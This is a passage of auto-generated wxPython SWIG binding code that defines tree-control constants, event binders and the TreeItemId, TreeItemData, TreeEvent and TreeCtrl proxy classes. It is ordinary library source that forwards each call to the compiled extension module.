_controls_.TR_DEFAULT_STYLE\nTR_TWIST_BUTTONS = _controls_.TR_TWIST_BUTTONS\n# obsolete\nTR_MAC_BUTTONS = 0\nwxTR_AQUA_BUTTONS = 0\n\nTreeItemIcon_Normal = _controls_.TreeItemIcon_Normal\nTreeItemIcon_Selected = _controls_.TreeItemIcon_Selected\nTreeItemIcon_Expanded = _controls_.TreeItemIcon_Expanded\nTreeItemIcon_SelectedExpanded = _controls_.TreeItemIcon_SelectedExpanded\nTreeItemIcon_Max = _controls_.TreeItemIcon_Max\nTREE_HITTEST_ABOVE = _controls_.TREE_HITTEST_ABOVE\nTREE_HITTEST_BELOW = _controls_.TREE_HITTEST_BELOW\nTREE_HITTEST_NOWHERE = _controls_.TREE_HITTEST_NOWHERE\nTREE_HITTEST_ONITEMBUTTON = _controls_.TREE_HITTEST_ONITEMBUTTON\nTREE_HITTEST_ONITEMICON = _controls_.TREE_HITTEST_ONITEMICON\nTREE_HITTEST_ONITEMINDENT = _controls_.TREE_HITTEST_ONITEMINDENT\nTREE_HITTEST_ONITEMLABEL = _controls_.TREE_HITTEST_ONITEMLABEL\nTREE_HITTEST_ONITEMRIGHT = _controls_.TREE_HITTEST_ONITEMRIGHT\nTREE_HITTEST_ONITEMSTATEICON = _controls_.TREE_HITTEST_ONITEMSTATEICON\nTREE_HITTEST_TOLEFT = _controls_.TREE_HITTEST_TOLEFT\nTREE_HITTEST_TORIGHT = _controls_.TREE_HITTEST_TORIGHT\nTREE_HITTEST_ONITEMUPPERPART = _controls_.TREE_HITTEST_ONITEMUPPERPART\nTREE_HITTEST_ONITEMLOWERPART = _controls_.TREE_HITTEST_ONITEMLOWERPART\nTREE_HITTEST_ONITEM = _controls_.TREE_HITTEST_ONITEM\n#---------------------------------------------------------------------------\n\nclass TreeItemId(object):\n \"\"\"Proxy of C++ TreeItemId class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> TreeItemId\"\"\"\n _controls_.TreeItemId_swiginit(self,_controls_.new_TreeItemId(*args, **kwargs))\n __swig_destroy__ = _controls_.delete_TreeItemId\n __del__ = lambda self : None;\n def IsOk(*args, **kwargs):\n \"\"\"IsOk(self) -> bool\"\"\"\n return _controls_.TreeItemId_IsOk(*args, **kwargs)\n\n def __eq__(*args, **kwargs):\n \"\"\"__eq__(self, TreeItemId other) -> bool\"\"\"\n return _controls_.TreeItemId___eq__(*args, **kwargs)\n\n def __ne__(*args, **kwargs):\n \"\"\"__ne__(self, TreeItemId other) -> bool\"\"\"\n return _controls_.TreeItemId___ne__(*args, **kwargs)\n\n m_pItem = property(_controls_.TreeItemId_m_pItem_get, _controls_.TreeItemId_m_pItem_set)\n Ok = IsOk\n def __nonzero__(self): return self.IsOk() \n_controls_.TreeItemId_swigregister(TreeItemId)\nTreeCtrlNameStr = cvar.TreeCtrlNameStr\n\nclass TreeItemData(object):\n \"\"\"Proxy of C++ TreeItemData class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, PyObject obj=None) -> TreeItemData\"\"\"\n _controls_.TreeItemData_swiginit(self,_controls_.new_TreeItemData(*args, **kwargs))\n __swig_destroy__ = _controls_.delete_TreeItemData\n __del__ = lambda self : None;\n def GetData(*args, **kwargs):\n \"\"\"GetData(self) -> PyObject\"\"\"\n return _controls_.TreeItemData_GetData(*args, **kwargs)\n\n def SetData(*args, **kwargs):\n \"\"\"SetData(self, PyObject obj)\"\"\"\n return _controls_.TreeItemData_SetData(*args, **kwargs)\n\n def GetId(*args, **kwargs):\n \"\"\"GetId(self) -> TreeItemId\"\"\"\n return _controls_.TreeItemData_GetId(*args, **kwargs)\n\n def SetId(*args, **kwargs):\n \"\"\"SetId(self, TreeItemId id)\"\"\"\n return _controls_.TreeItemData_SetId(*args, **kwargs)\n\n def Destroy(*args, **kwargs):\n \"\"\"Destroy(self)\"\"\"\n args[0].this.own(False)\n return _controls_.TreeItemData_Destroy(*args, **kwargs)\n\n Data = property(GetData,SetData,doc=\"See `GetData` and `SetData`\") \n Id = property(GetId,SetId,doc=\"See `GetId` and `SetId`\") \n_controls_.TreeItemData_swigregister(TreeItemData)\n\n#---------------------------------------------------------------------------\n\nwxEVT_COMMAND_TREE_BEGIN_DRAG = _controls_.wxEVT_COMMAND_TREE_BEGIN_DRAG\nwxEVT_COMMAND_TREE_BEGIN_RDRAG = _controls_.wxEVT_COMMAND_TREE_BEGIN_RDRAG\nwxEVT_COMMAND_TREE_BEGIN_LABEL_EDIT = _controls_.wxEVT_COMMAND_TREE_BEGIN_LABEL_EDIT\nwxEVT_COMMAND_TREE_END_LABEL_EDIT = _controls_.wxEVT_COMMAND_TREE_END_LABEL_EDIT\nwxEVT_COMMAND_TREE_DELETE_ITEM = _controls_.wxEVT_COMMAND_TREE_DELETE_ITEM\nwxEVT_COMMAND_TREE_GET_INFO = _controls_.wxEVT_COMMAND_TREE_GET_INFO\nwxEVT_COMMAND_TREE_SET_INFO = _controls_.wxEVT_COMMAND_TREE_SET_INFO\nwxEVT_COMMAND_TREE_ITEM_EXPANDED = _controls_.wxEVT_COMMAND_TREE_ITEM_EXPANDED\nwxEVT_COMMAND_TREE_ITEM_EXPANDING = _controls_.wxEVT_COMMAND_TREE_ITEM_EXPANDING\nwxEVT_COMMAND_TREE_ITEM_COLLAPSED = _controls_.wxEVT_COMMAND_TREE_ITEM_COLLAPSED\nwxEVT_COMMAND_TREE_ITEM_COLLAPSING = _controls_.wxEVT_COMMAND_TREE_ITEM_COLLAPSING\nwxEVT_COMMAND_TREE_SEL_CHANGED = _controls_.wxEVT_COMMAND_TREE_SEL_CHANGED\nwxEVT_COMMAND_TREE_SEL_CHANGING = _controls_.wxEVT_COMMAND_TREE_SEL_CHANGING\nwxEVT_COMMAND_TREE_KEY_DOWN = _controls_.wxEVT_COMMAND_TREE_KEY_DOWN\nwxEVT_COMMAND_TREE_ITEM_ACTIVATED = _controls_.wxEVT_COMMAND_TREE_ITEM_ACTIVATED\nwxEVT_COMMAND_TREE_ITEM_RIGHT_CLICK = _controls_.wxEVT_COMMAND_TREE_ITEM_RIGHT_CLICK\nwxEVT_COMMAND_TREE_ITEM_MIDDLE_CLICK = _controls_.wxEVT_COMMAND_TREE_ITEM_MIDDLE_CLICK\nwxEVT_COMMAND_TREE_END_DRAG = _controls_.wxEVT_COMMAND_TREE_END_DRAG\nwxEVT_COMMAND_TREE_STATE_IMAGE_CLICK = _controls_.wxEVT_COMMAND_TREE_STATE_IMAGE_CLICK\nwxEVT_COMMAND_TREE_ITEM_GETTOOLTIP = _controls_.wxEVT_COMMAND_TREE_ITEM_GETTOOLTIP\nwxEVT_COMMAND_TREE_ITEM_MENU = _controls_.wxEVT_COMMAND_TREE_ITEM_MENU\nEVT_TREE_BEGIN_DRAG = wx.PyEventBinder(wxEVT_COMMAND_TREE_BEGIN_DRAG , 1)\nEVT_TREE_BEGIN_RDRAG = wx.PyEventBinder(wxEVT_COMMAND_TREE_BEGIN_RDRAG , 1)\nEVT_TREE_BEGIN_LABEL_EDIT = wx.PyEventBinder(wxEVT_COMMAND_TREE_BEGIN_LABEL_EDIT , 1)\nEVT_TREE_END_LABEL_EDIT = wx.PyEventBinder(wxEVT_COMMAND_TREE_END_LABEL_EDIT , 1)\nEVT_TREE_DELETE_ITEM = wx.PyEventBinder(wxEVT_COMMAND_TREE_DELETE_ITEM , 1)\nEVT_TREE_GET_INFO = wx.PyEventBinder(wxEVT_COMMAND_TREE_GET_INFO , 1)\nEVT_TREE_SET_INFO = wx.PyEventBinder(wxEVT_COMMAND_TREE_SET_INFO , 1)\nEVT_TREE_ITEM_EXPANDED = wx.PyEventBinder(wxEVT_COMMAND_TREE_ITEM_EXPANDED , 1)\nEVT_TREE_ITEM_EXPANDING = wx.PyEventBinder(wxEVT_COMMAND_TREE_ITEM_EXPANDING , 1)\nEVT_TREE_ITEM_COLLAPSED = wx.PyEventBinder(wxEVT_COMMAND_TREE_ITEM_COLLAPSED , 1)\nEVT_TREE_ITEM_COLLAPSING = wx.PyEventBinder(wxEVT_COMMAND_TREE_ITEM_COLLAPSING , 1)\nEVT_TREE_SEL_CHANGED = wx.PyEventBinder(wxEVT_COMMAND_TREE_SEL_CHANGED , 1)\nEVT_TREE_SEL_CHANGING = wx.PyEventBinder(wxEVT_COMMAND_TREE_SEL_CHANGING , 1)\nEVT_TREE_KEY_DOWN = wx.PyEventBinder(wxEVT_COMMAND_TREE_KEY_DOWN , 1)\nEVT_TREE_ITEM_ACTIVATED = wx.PyEventBinder(wxEVT_COMMAND_TREE_ITEM_ACTIVATED , 1)\nEVT_TREE_ITEM_RIGHT_CLICK = wx.PyEventBinder(wxEVT_COMMAND_TREE_ITEM_RIGHT_CLICK , 1)\nEVT_TREE_ITEM_MIDDLE_CLICK = wx.PyEventBinder(wxEVT_COMMAND_TREE_ITEM_MIDDLE_CLICK, 1)\nEVT_TREE_END_DRAG = wx.PyEventBinder(wxEVT_COMMAND_TREE_END_DRAG , 1)\nEVT_TREE_STATE_IMAGE_CLICK = wx.PyEventBinder(wxEVT_COMMAND_TREE_STATE_IMAGE_CLICK, 1)\nEVT_TREE_ITEM_GETTOOLTIP = wx.PyEventBinder(wxEVT_COMMAND_TREE_ITEM_GETTOOLTIP, 1)\nEVT_TREE_ITEM_MENU = wx.PyEventBinder(wxEVT_COMMAND_TREE_ITEM_MENU, 1)\n\nclass TreeEvent(_core.NotifyEvent):\n \"\"\"Proxy of C++ TreeEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args): \n \"\"\"\n __init__(self, EventType commandType=wxEVT_NULL, int id=0) -> TreeEvent\n __init__(self, EventType commandType, TreeCtrl tree, TreeItemId item=NullTreeItemId) -> TreeEvent\n \"\"\"\n _controls_.TreeEvent_swiginit(self,_controls_.new_TreeEvent(*args))\n def GetItem(*args, **kwargs):\n \"\"\"GetItem(self) -> TreeItemId\"\"\"\n return _controls_.TreeEvent_GetItem(*args, **kwargs)\n\n def SetItem(*args, **kwargs):\n \"\"\"SetItem(self, TreeItemId item)\"\"\"\n return _controls_.TreeEvent_SetItem(*args, **kwargs)\n\n def GetOldItem(*args, **kwargs):\n \"\"\"GetOldItem(self) -> TreeItemId\"\"\"\n return _controls_.TreeEvent_GetOldItem(*args, **kwargs)\n\n def SetOldItem(*args, **kwargs):\n \"\"\"SetOldItem(self, TreeItemId item)\"\"\"\n return _controls_.TreeEvent_SetOldItem(*args, **kwargs)\n\n def GetPoint(*args, **kwargs):\n \"\"\"GetPoint(self) -> Point\"\"\"\n return _controls_.TreeEvent_GetPoint(*args, **kwargs)\n\n def SetPoint(*args, **kwargs):\n \"\"\"SetPoint(self, Point pt)\"\"\"\n return _controls_.TreeEvent_SetPoint(*args, **kwargs)\n\n def GetKeyEvent(*args, **kwargs):\n \"\"\"GetKeyEvent(self) -> KeyEvent\"\"\"\n return _controls_.TreeEvent_GetKeyEvent(*args, **kwargs)\n\n def GetKeyCode(*args, **kwargs):\n \"\"\"GetKeyCode(self) -> int\"\"\"\n return _controls_.TreeEvent_GetKeyCode(*args, **kwargs)\n\n def SetKeyEvent(*args, **kwargs):\n \"\"\"SetKeyEvent(self, KeyEvent evt)\"\"\"\n return _controls_.TreeEvent_SetKeyEvent(*args, **kwargs)\n\n def GetLabel(*args, **kwargs):\n \"\"\"GetLabel(self) -> String\"\"\"\n return _controls_.TreeEvent_GetLabel(*args, **kwargs)\n\n def SetLabel(*args, **kwargs):\n \"\"\"SetLabel(self, String label)\"\"\"\n return _controls_.TreeEvent_SetLabel(*args, **kwargs)\n\n def IsEditCancelled(*args, **kwargs):\n \"\"\"IsEditCancelled(self) -> bool\"\"\"\n return _controls_.TreeEvent_IsEditCancelled(*args, **kwargs)\n\n def SetEditCanceled(*args, **kwargs):\n \"\"\"SetEditCanceled(self, bool editCancelled)\"\"\"\n return _controls_.TreeEvent_SetEditCanceled(*args, **kwargs)\n\n def SetToolTip(*args, **kwargs):\n \"\"\"SetToolTip(self, String toolTip)\"\"\"\n return _controls_.TreeEvent_SetToolTip(*args, **kwargs)\n\n def GetToolTip(*args, **kwargs):\n \"\"\"GetToolTip(self) -> String\"\"\"\n return _controls_.TreeEvent_GetToolTip(*args, **kwargs)\n\n Item = property(GetItem,SetItem,doc=\"See `GetItem` and `SetItem`\") \n KeyCode = property(GetKeyCode,doc=\"See `GetKeyCode`\") \n KeyEvent = property(GetKeyEvent,SetKeyEvent,doc=\"See `GetKeyEvent` and `SetKeyEvent`\") \n Label = property(GetLabel,SetLabel,doc=\"See `GetLabel` and `SetLabel`\") \n OldItem = property(GetOldItem,SetOldItem,doc=\"See `GetOldItem` and `SetOldItem`\") \n Point = property(GetPoint,SetPoint,doc=\"See `GetPoint` and `SetPoint`\") \n ToolTip = property(GetToolTip,SetToolTip,doc=\"See `GetToolTip` and `SetToolTip`\") \n EditCancelled = property(IsEditCancelled,SetEditCanceled,doc=\"See `IsEditCancelled` and `SetEditCanceled`\") \n_controls_.TreeEvent_swigregister(TreeEvent)\n\n#---------------------------------------------------------------------------\n\nclass TreeCtrl(_core.Control):\n \"\"\"Proxy of C++ TreeCtrl class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=TR_DEFAULT_STYLE, \n Validator validator=DefaultValidator, \n String name=TreeCtrlNameStr) -> TreeCtrl\n \"\"\"\n _controls_.TreeCtrl_swiginit(self,_controls_.new_TreeCtrl(*args, **kwargs))\n self._setOORInfo(self);TreeCtrl._setCallbackInfo(self, self, TreeCtrl)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=TR_DEFAULT_STYLE, \n Validator validator=DefaultValidator, \n String name=TreeCtrlNameStr) -> bool\n\n Do the 2nd phase and create the GUI control.\n \"\"\"\n return _controls_.TreeCtrl_Create(*args, **kwargs)\n\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class)\"\"\"\n return _controls_.TreeCtrl__setCallbackInfo(*args, **kwargs)\n\n def GetCount(*args, **kwargs):\n \"\"\"GetCount(self) -> unsigned int\"\"\"\n return _controls_.TreeCtrl_GetCount(*args, **kwargs)\n\n def GetIndent(*args, **kwargs):\n \"\"\"GetIndent(self) -> unsigned int\"\"\"\n return _controls_.TreeCtrl_GetIndent(*args, **kwargs)\n\n def SetIndent(*args, **kwargs):\n \"\"\"SetIndent(self, unsigned int indent)\"\"\"\n return _controls_.TreeCtrl_SetIndent(*args, **kwargs)\n\n def GetSpacing(*args, **kwargs):\n \"\"\"GetSpacing(self) -> unsigned int\"\"\"\n return _controls_.TreeCtrl_GetSpacing(*args, **kwargs)\n\n def SetSpacing(*args, **kwargs):\n \"\"\"SetSpacing(self, unsigned int spacing)\"\"\"\n return _controls_.TreeCtrl_SetSpacing(*args, **kwargs)\n\n def GetImageList(*args, **kwargs):\n \"\"\"GetImageList(self) -> ImageList\"\"\"\n return _controls_.TreeCtrl_GetImageList(*args, **kwargs)\n\n def GetStateImageList(*args, **kwargs):\n \"\"\"GetStateImageList(self) -> ImageList\"\"\"\n return _controls_.TreeCtrl_GetStateImageList(*args, **kwargs)\n\n def SetImageList(*args, **kwargs):\n \"\"\"SetImageList(self, ImageList imageList)\"\"\"\n return _controls_.TreeCtrl_SetImageList(*args, **kwargs)\n\n def SetStateImageList(*args, **kwargs):\n \"\"\"SetStateImageList(self, ImageList imageList)\"\"\"\n return _controls_.TreeCtrl_SetStateImageList(*args, **kwargs)\n\n def AssignImageList(*args, **kwargs):\n \"\"\"AssignImageList(self, ImageList imageList)\"\"\"\n return _controls_.TreeCtrl_AssignImageList(*args, **kwargs)\n\n def AssignStateImageList(*args, **kwargs):\n \"\"\"AssignStateImageList(self, ImageList imageList)\"\"\"\n return _controls_.TreeCtrl_AssignStateImageList(*args, **kwargs)\n\n def GetItemText(*args, **kwargs):\n \"\"\"GetItemText(self, TreeItemId item) -> String\"\"\"\n return _controls_.TreeCtrl_GetItemText(*args, **kwargs)\n\n def GetItemImage(*args, **kwargs):\n \"\"\"GetItemImage(self, TreeItemId item, int which=TreeItemIcon_Normal) -> int\"\"\"\n return _controls_.TreeCtrl_GetItemImage(*args, **kwargs)\n\n def GetItemData(*args, **kwargs):\n \"\"\"GetItemData(self, TreeItemId item) -> TreeItemData\"\"\"\n return _controls_.TreeCtrl_GetItemData(*args, **kwargs)\n\n def GetItemPyData(*args, **kwargs):\n \"\"\"GetItemPyData(self, TreeItemId item) -> PyObject\"\"\"\n return _controls_.TreeCtrl_GetItemPyData(*args, **kwargs)\n\n GetPyData = GetItemPyData \n def GetItemTextColour(*args, **kwargs):\n \"\"\"GetItemTextColour(self, TreeItemId item) -> Colour\"\"\"\n return _controls_.TreeCtrl_GetItemTextColour(*args, **kwargs)\n\n def GetItemBackgroundColour(*args, **kwargs):\n \"\"\"GetItemBackgroundColour(self, TreeItemId item) -> Colour\"\"\"\n return _controls_.TreeCtrl_GetItemBackgroundColour(*args, **kwargs)\n\n def GetItemFont(*args, **kwargs):\n \"\"\"GetItemFont(self, TreeItemId item) -> Font\"\"\"\n return _controls_.TreeCtrl_GetItemFont(*args, **kwargs)\n\n def SetItemText(*args, **kwargs):\n \"\"\"SetItemText(self, TreeItemId item, String text)\"\"\"\n return _controls_.TreeCtrl_SetItemText(*args, **kwargs)\n\n def SetItemImage(*args, **kwargs):\n \"\"\"SetItemImage(self, TreeItemId item, int image, int which=TreeItemIcon_Normal)\"\"\"\n return _controls_.TreeCtrl_SetItemImage(*args, **kwargs)\n\n def SetItemData(*args, **kwargs):\n \"\"\"SetItemData(self, TreeItemId item, TreeItemData data)\"\"\"\n return _controls_.TreeCtrl_SetItemData(*args, **kwargs)\n\n def SetItemPyData(*args, **kwargs):\n \"\"\"SetItemPyData(self, TreeItemId item, PyObject obj)\"\"\"\n return _controls_.TreeCtrl_SetItemPyData(*args, **kwargs)\n\n SetPyData = SetItemPyData \n def SetItemHasChildren(*args, **kwargs):\n \"\"\"SetItemHasChildren(self, TreeItemId item, bool has=True)\"\"\"\n return _controls_.TreeCtrl_SetItemHasChildren(*args, **kwargs)\n\n def SetItemBold(*args, **kwargs):\n \"\"\"SetItemBold(self, TreeItemId item, bool bold=True)\"\"\"\n return _controls_.TreeCtrl_SetItemBold(*args, **kwargs)\n\n def SetItemDropHighlight(*args, **kwargs):\n \"\"\"SetItemDropHighlight(self, TreeItemId item, bool highlight=True)\"\"\"\n return _controls_.TreeCtrl_SetItemDropHighlight(*args, **kwargs)\n\n def SetItemTextColour(*args, **kwargs):\n \"\"\"SetItemTextColour(self, TreeItemId item, Colour col)\"\"\"\n return _controls_.TreeCtrl_SetItemTextColour(*args, **kwargs)\n\n def SetItemBackgroundColour(*args, **kwargs):\n \"\"\"SetItemBackgroundColour(self, TreeItemId item, Colour col)\"\"\"\n return _controls_.TreeCtrl_SetItemBackgroundColour(*args, **kwargs)\n\n def SetItemFont(*args, **kwargs):\n \"\"\"SetItemFont(self, TreeItemId item, Font font)\"\"\"\n return _controls_.TreeCtrl_SetItemFont(*args, **kwargs)\n\n def IsVisible(*args, **kwargs):\n \"\"\"IsVisible(self, TreeItemId item) -> bool\"\"\"\n return _controls_.TreeCtrl_IsVisible(*args, **kwargs)\n\n def ItemHasChildren(*args, **kwargs):\n \"\"\"ItemHasChildren(self, TreeItemId item) -> bool\"\"\"\n return _controls_.TreeCtrl_ItemHasChildren(*args, **kwargs)\n\n def IsExpanded(*args, **kwargs):\n \"\"\"IsExpanded(self, TreeItemId item) -> bool\"\"\"\n return _controls_.TreeCtrl_IsExpanded(*args, **kwargs)\n\n def IsSelected(*args, **kwargs):\n \"\"\"IsSelected(self, TreeItemId item) -> bool\"\"\"\n return _controls_.TreeCtrl_IsSelected(*args, **kwargs)\n\n def IsBold(*args, **kwargs):\n \"\"\"IsBold(self, TreeItemId item) -> bool\"\"\"\n return _controls_.TreeCtrl_IsBold(*args, **kwargs)\n\n def IsEmpty(*args, **kwargs):\n \"\"\"IsEmpty(self) -> bool\"\"\"\n return _controls_.TreeCtrl_IsEmpty(*args, **kwargs)\n\n def GetChildrenCount(*args, **kwargs):\n \"\"\"GetChildrenCount(self, TreeItemId item, bool recursively=True) -> size_t\"\"\"\n return _controls_.TreeCtrl_GetChildrenCount(*args, **kwargs)\n\n def GetRootItem(*args, **kwargs):\n \"\"\"GetRootItem(self) -> TreeItemId\"\"\"\n return _controls_.TreeCtrl_GetRootItem(*args, **kwargs)\n\n def GetSelection(*args, **kwargs):\n \"\"\"GetSelection(self) -> TreeItemId\"\"\"\n return _controls_.TreeCtrl_GetSelection(*args, **kwargs)\n\n def GetSelections(*args, **kwargs):\n \"\"\"GetSelections(self) -> PyObject\"\"\"\n return _controls_.TreeCtrl_GetSelections(*args, **kwargs)\n\n def GetItemParent(*args, **kwargs):\n \"\"\"GetItemParent(self, TreeItemId item) -> TreeItemId\"\"\"\n return _controls_.TreeCtrl_GetItemParent(*args, **kwargs)\n\n def GetFirstChild(*args, **kwargs):\n \"\"\"GetFirstChild(self, TreeItemId item) -> PyObject\"\"\"\n return _controls_.TreeCtrl_GetFirstChild(*args, **kwargs)\n\n def GetNextChild(*args, **kwargs):\n \"\"\"GetNextChild(self, TreeItemId item, void cookie) -> PyObject\"\"\"\n return _controls_.TreeCtrl_GetNextChild(*args, **kwargs)\n\n def GetLastChild(*args, **kwargs):\n \"\"\"GetLastChild(self, TreeItemId item) -> TreeItemId\"\"\"\n return _controls_.TreeCtrl_GetLastChild(*args, **kwargs)\n\n def GetNextSibling(*args, **kwargs):\n \"\"\"GetNextSibling(self, TreeItemId item) -> TreeItemId\"\"\"\n return _controls_.TreeCtrl_GetNextSibling(*args, **kwargs)\n\n def GetPrevSibling(*args, **kwargs):\n \"\"\"GetPrevSibling(self, TreeItemId item) -> TreeItemId\"\"\"\n return _controls_.TreeCtrl_GetPrevSibling(*args, **kwargs)\n\n def GetFirstVisibleItem(*args, **kwargs):\n \"\"\"GetFirstVisibleItem(self) -> TreeItemId\"\"\"\n return _controls_.TreeCtrl_GetFirstVisibleItem(*args, **kwargs)\n\n def GetNextVisible(*args, **kwargs):\n \"\"\"GetNextVisible(self, TreeItemId item) -> TreeItemId\"\"\"\n return _controls_.TreeCtrl_GetNextVisible(*args, **kwargs)\n\n def GetPrevVisible(*args, **kwargs):\n \"\"\"GetPrevVisible(self, TreeItemId item) -> TreeItemId\"\"\"\n return _controls_.TreeCtrl_GetPrevVisible(*args, **kwargs)\n\n def AddRoot(*args, **kwargs):\n \"\"\"AddRoot(self, String text, int image=-1, int selectedImage=-1, TreeItemData data=None) -> TreeItemId\"\"\"\n return _controls_.TreeCtrl_AddRoot(*args, **kwargs)\n\n def PrependItem(*args, **kwargs):\n \"\"\"\n PrependItem(self, TreeItemId parent, String text, int image=-1, int selectedImage=-1, \n TreeItemData data=None) -> TreeItemId\n \"\"\"\n return _controls_.TreeCtrl_PrependItem(*args, **kwargs)\n\n def InsertItem(*args, **kwargs):\n \"\"\"\n InsertItem(self, TreeItemId parent, TreeItemId idPrevious, String text, \n int image=-1, int selectedImage=-1, TreeItemData data=None) -> TreeItemId\n \"\"\"\n return _controls_.TreeCtrl_InsertItem(*args, **kwargs)\n\n def InsertItemBefore(*args, **kwargs):\n \"\"\"\n InsertItemBefore(self, TreeItemId parent, size_t index, String text, int image=-1, \n int selectedImage=-1, TreeItemData data=None) -> TreeItemId\n \"\"\"\n return _controls_.TreeCtrl_InsertItemBefore(*args, **kwargs)\n\n def AppendItem(*args, **kwargs):\n \"\"\"\n AppendItem(self, TreeItemId parent, String text, int image=-1, int selectedImage=-1, \n TreeItemData data=None) -> TreeItemId\n \"\"\"\n return _controls_.TreeCtrl_AppendItem(*args, **kwargs)\n\n def Delete(*args, **kwargs):\n \"\"\"Delete(self, TreeItemId item)\"\"\"\n return _controls_.TreeCtrl_Delete(*args, **kwargs)\n\n def DeleteChildren(*args, **kwargs):\n \"\"\"DeleteChildren(self, TreeItemId item)\"\"\"\n return _controls_.TreeCtrl_DeleteChildren(*args, **kwargs)\n\n def DeleteAllItems(*args, **kwargs):\n \"\"\"DeleteAllItems(self)\"\"\"\n return _controls_.TreeCtrl_DeleteAllItems(*args, **kwargs)\n\n def Expand(*args, **kwargs):\n \"\"\"Expand(self, TreeItemId item)\"\"\"\n return _controls_.TreeCtrl_Expand(*args, **kwargs)\n\n def ExpandAllChildren(*args, **kwargs):\n \"\"\"ExpandAllChildren(self, TreeItemId item)\"\"\"\n return _controls_.TreeCtrl_ExpandAllChildren(*args, **kwargs)\n\n def ExpandAll(*args, **kwargs):\n \"\"\"ExpandAll(self)\"\"\"\n return _controls_.TreeCtrl_ExpandAll(*args, **kwargs)\n\n def Collapse(*args, **kwargs):\n \"\"\"Collapse(self, TreeItemId item)\"\"\"\n return _controls_.TreeCtrl_Collapse(*args, **kwargs)\n\n def CollapseAllChildren(*args, **kwargs):\n \"\"\"CollapseAllChildren(self, TreeItemId item)\"\"\"\n return _controls_.TreeCtrl_CollapseAllChildren(*args, **kwargs)\n\n def CollapseAll(*args, **kwargs):\n \"\"\"CollapseAll(self)\"\"\"\n return _controls_.TreeCtrl_CollapseAll(*args, **kwargs)\n\n def CollapseAndReset(*args, **kwargs):\n \"\"\"CollapseAndReset(self, TreeItemId item)\"\"\"\n return _controls_.TreeCtrl_CollapseAndReset(*args, **kwargs)\n\n def Toggle(*args, **kwargs):\n \"\"\"Toggle(self, TreeItemId item)\"\"\"\n return _controls_.TreeCtrl_Toggle(*args, **kwargs)\n\n def Unselect(*args, **kwargs):\n \"\"\"Unselect(self)\"\"\"\n return _controls_.TreeCtrl_Unselect(*args, **kwargs)\n\n def UnselectItem(*args, **kwargs):\n \"\"\"UnselectItem(self, TreeItemId item)\"\"\"\n return _controls_.TreeCtrl_UnselectItem(*args, **kwargs)\n\n def UnselectAll(*args, **kwargs):\n \"\"\"UnselectAll(self)\"\"\"\n return _controls_.TreeCtrl_UnselectAll(*args, **kwargs)\n\n def SelectItem(*args, **kwargs):\n \"\"\"SelectItem(self, TreeItemId item, bool select=True)\"\"\"\n return _controls_.TreeCtrl_SelectItem(*args, **kwargs)\n\n def ToggleItemSelection(*args, **kwargs):\n \"\"\"ToggleItemSelection(self, TreeItemId item)\"\"\"\n return _controls_.TreeCtrl_ToggleItemSelection(*args, **kwargs)\n\n def EnsureVisible(*args, **kwargs):\n \"\"\"EnsureVisible(self, TreeItemId item)\"\"\"\n return _controls_.TreeCtrl_EnsureVisible(*args, **kwargs)\n\n def ScrollTo(*args, **kwargs):\n \"\"\"ScrollTo(self, TreeItemId item)\"\"\"\n return _controls_.TreeCtrl_ScrollTo(*args, **kwargs)\n\n def EditLabel(*args, **kwargs):\n \"\"\"EditLabel(self, TreeItemId item)\"\"\"\n return _controls_.TreeCtrl_EditLabel(*args, **kwargs)\n\n def GetEditControl(*args, **kwargs):\n \"\"\"GetEditControl(self) -> TextCtrl\"\"\"\n return _controls_.TreeCtrl_GetEditControl(*args, **kwargs)\n\n def EndEditLabel(*args, **kwargs):\n \"\"\"EndEditLabel(self, TreeItemId item, bool discardChanges=False)\"\"\"\n return _controls_.TreeCtrl_EndEditLabel(*args, **kwargs)\n\n def SortChildren(*args, **kwargs):\n \"\"\"SortChildren(self, TreeItemId item)\"\"\"\n return _controls_.TreeCtrl_SortChildren(*args, **kwargs)\n\n def HitTest(*args, **kwargs):\n \"\"\"\n HitTest(Point point) -> (item, where)\n\n Determine which item (if any) belongs the given point. The coordinates\n specified are relative to the client area of tree ctrl and the where return\n value is set to a bitmask of wxTREE_HITTEST_xxx constants.\n\n \"\"\"\n return _controls_.TreeCtrl_HitTest(*args, **kwargs)\n\n def GetBoundingRect(*args, **kwargs):\n \"\"\"GetBoundingRect(self, TreeItemId item, bool textOnly=False) -> PyObject\"\"\"\n return _controls_.TreeCtrl_GetBoundingRect(*args, **kwargs)\n\n def SetState(*args, **kwargs):\n \"\"\"SetState(self, TreeItemId node, int state)\"\"\"\n return _controls_.TreeCtrl_SetState(*args, **kwargs)\n\n def GetState(*args, **kwargs):\n \"\"\"GetState(self, TreeItemId node) -> int\"\"\"\n return _controls_.TreeCtrl_GetState(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.TreeCtrl_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n def SetQuickBestSize(*args, **kwargs):\n \"\"\"SetQuickBestSize(self, bool q)\"\"\"\n return _controls_.TreeCtrl_SetQuickBestSize(*args, **kwargs)\n\n def GetQuickBestSize(*args, **kwargs):\n \"\"\"GetQuickBestSize(self) -> bool\"\"\"\n return 